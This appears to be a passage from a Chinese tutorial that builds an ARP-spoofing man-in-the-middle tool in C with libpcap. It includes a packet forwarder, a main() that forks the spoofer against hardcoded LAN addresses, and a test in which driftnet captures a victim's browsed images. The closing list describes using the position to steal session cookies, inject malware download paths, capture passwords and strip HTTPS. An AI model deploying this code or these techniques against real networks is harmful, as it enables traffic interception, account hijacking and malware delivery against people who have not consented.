uint8_t * mac_B, 238 const uint8_t * mac_M,const char * BPF_filterStr, 239 const char * devMitm 240 ) 241 //BPF_filterStr: ether dst mac_M and ip 242 { 243 char errBuf[PCAP_ERRBUF_SIZE], * devStr; 244 struct bpf_program filter; 245 246 struct MITM_para mitmPara; 247 248 mitmPara.ip_A=ip_A; 249 mitmPara.mac_A=mac_A; 250 251 mitmPara.ip_B=ip_B; 252 mitmPara.mac_B=mac_B; 253 254 mitmPara.mac_M=mac_M; 255 256 mitmPara.BPF_filterStr=BPF_filterStr; 257 mitmPara.devMitm=devMitm; 258 259 /* get a device */ 260 devStr = pcap_lookupdev(errBuf); 261 262 if(devStr) 263 { 264 printf("success: device: %s\n", devStr); 265 } 266 else 267 { 268 printf("error: %s\n", errBuf); 269 exit(1); 270 } 271 272 /* open a device, wait until a packet arrives */ 273 pcap_t * device = pcap_open_live(devMitm, 65535, 1, 0, errBuf); 274 275 if(!device) 276 { 277 printf("error: pcap_open_live(): %s\n", errBuf); 278 exit(1); 279 } 280 // ether dst 00:11:22:33:44:55 and ip 281 pcap_compile( device,&filter,BPF_filterStr,1,0 ); 282 pcap_setfilter(device ,&filter ); 283 /* wait loop forever */ 284 pcap_loop(device, -1, getPacketCallBack,( u_char * ) &mitmPara); 285 286 pcap_close(device); 287 288 return 0; 289 } 290 291 292 /* 293 gw kali 294 192.168.1.1 192.168.1.108 295 14:E6:E4:94:B4:D6 00:7B:05:03:8E:90 296 A B 297 298 00:11:22:33:44:55 299 M 300 301 */ 302 303 void main() 304 305 { 306 uint8_t ip_A[4]={192,168,1,1}; 307 uint8_t mac_A[6]={0x14,0xE6,0xE4,0x94,0xB4,0xD6}; 308 309 uint8_t ip_B[4]={192,168,1,31}; 310 uint8_t mac_B[6]={0x00,0x0C,0x29,0xA4,0xAC,0x26}; 311 312 uint8_t mac_M[6]={0x00,0x11,0x22,0x33,0x44,0x55}; 313 314 //BPF_filterStr: ether dst mac_M and ip 315 char * BPF_filterStr=" ether dst 00:11:22:33:44:55 and ip "; 316 char * devMitm="eth0"; 317 318 //local 319 pid_t sonPid; 320 321 sonPid=fork(); 322 if( sonPid==-1 ) 323 {//failure 324 printf("failure:mitm fork error :( \n"); 325 } 326 else if(sonPid==0) 327 {//child 328 printf("child : pid:%d:)\n",getpid()); 329 ArpSpoof( ip_A,mac_A,ip_B,mac_B,mac_M,devMitm ); 330 } 331 else 332 {//parent 333 printf("parent: pid:%d sonPid:%d :)\n",getpid(),sonPid); 334 sleep(2); 335 mitm_forwarder( 336 ip_A,mac_A, 337 ip_B,mac_B, 338 mac_M,BPF_filterStr, 339 devMitm 340 ); 341 } 342 }
测试:
kali GW
Ubuntu
如上,Ubuntu作为中间人意图窃取kali与网关GW之间的通信信息,使用nmap搜集必要信息后,运行我们刚刚开发的工具,并运行如下命令:
~# driftnet -i eth0
而此时kali主机使用百度图片搜索“兰花”关键词,Ubuntu的driftnet有了如下输出:
中间人攻击的可怕之处:
1.中间人在所有的数据包中过滤Cookie关键字,获取服务器授予已登录用户的临时Cookie ID,以绕过服务器对此用户的密码认证;
2.中间人过滤有关下载路径的信息,篡改此数据包,将此路径指向预先准备好的病毒程序的互联网地址,以达到传播病毒程序体的目的;
3.截获已知认证协议的账户、密码;
4.使用sslstrip模型,绕过https的防御以截获账户、密码信息;
5.屏蔽或者重定向指定的网络地址;
……